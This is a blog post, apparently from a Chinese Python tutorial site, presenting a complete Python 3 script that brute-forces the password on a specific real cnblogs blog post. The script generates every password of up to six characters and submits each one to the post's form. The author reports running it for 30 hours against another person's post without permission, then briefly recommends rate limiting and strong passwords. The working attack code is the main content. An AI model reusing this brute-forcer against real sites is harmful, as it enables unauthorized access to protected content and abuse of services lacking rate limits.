python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
pygame学习笔记(5):游戏精灵
Apr 15 Python
用python结合jieba和wordcloud实现词云效果
Sep 05 Python
OpenCV2.3.1+Python2.7.3+Numpy等的配置解析
Jan 05 Python
idea创建springMVC框架和配置小文件的教程图解
Sep 18 Python
pygame游戏之旅 python和pygame安装教程
Nov 20 Python
python语言元素知识点详解
May 15 Python
python多线程http压力测试脚本
Jun 25 Python
利用Tensorflow的队列多线程读取数据方式
Feb 05 Python
python和pywin32实现窗口查找、遍历和点击的示例代码
Apr 01 Python
python 贪心算法的实现
Sep 18 Python
python 爬虫请求模块requests详解
Dec 04 Python
python numpy中setdiff1d的用法说明
Apr 22 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
Php部分常见问题总结
2006/10/09 PHP
php 随机数的产生、页面跳转、件读写、文件重命名、switch语句
2009/08/07 PHP
php使用Jpgraph绘制柱形图的方法
2015/06/10 PHP
PHP 验证身份证是否合法的函数
2017/02/09 PHP
CSS JavaScript 实现菜单功能 改进版
2008/12/09 Javascript
简单常用的幻灯片播放实现代码
2013/09/25 Javascript
高性能JavaScript DOM编程(1)
2015/08/11 Javascript
js实现左侧网页tab滑动门效果代码
2015/09/06 Javascript
Radio 单选JS动态添加的选项onchange事件无效的解决方法
2016/12/12 Javascript
原生js实现可拖动的登录框效果
2017/01/21 Javascript
详解nodejs中的process进程
2017/03/19 NodeJs
全站最详细的Vuex教程
2018/04/13 Javascript
原生JS实现的简单小钟表功能示例
2018/08/30 Javascript
JavaScript原型式继承实现方法
2019/11/06 Javascript
[01:21]DOTA2周边文化主题展 神秘商店火热开售
2017/07/30 DOTA
解决python写的windows服务不能启动的问题
2014/04/15 Python
python动态性强类型用法实例
2015/05/09 Python
Python实现短网址ShortUrl的Hash运算实例讲解
2015/08/10 Python
NLTK 3.2.4 环境搭建教程
2018/09/19 Python
python字符串中匹配数字的正则表达式
2019/07/03 Python
Pytorch训练过程出现nan的解决方式
2020/01/02 Python
基于python 等频分箱qcut问题的解决
2020/03/03 Python
使用Python matplotlib作图时,设置横纵坐标轴数值以百分比(%)显示
2020/05/16 Python
Python预测2020高考分数和录取情况
2020/07/08 Python
Python变量格式化输出实现原理解析
2020/08/06 Python
python 实现IP子网计算
2021/02/18 Python
vivo智能手机官方商城:vivo
2016/09/22 全球购物
元旦晚会上单位领导演讲稿
2014/01/05 职场文书
幼儿园教师教学反思
2014/02/06 职场文书
新年联欢会主持词
2014/03/27 职场文书
小学三好学生事迹材料
2014/08/15 职场文书
工会2014法制宣传日活动总结
2014/11/01 职场文书
放牛班的春天观后感
2015/06/01 职场文书
付款证明模板
2015/06/19 职场文书
浅谈Python协程asyncio
2021/06/20 Python
CSS基础详解
2021/10/16 HTML / CSS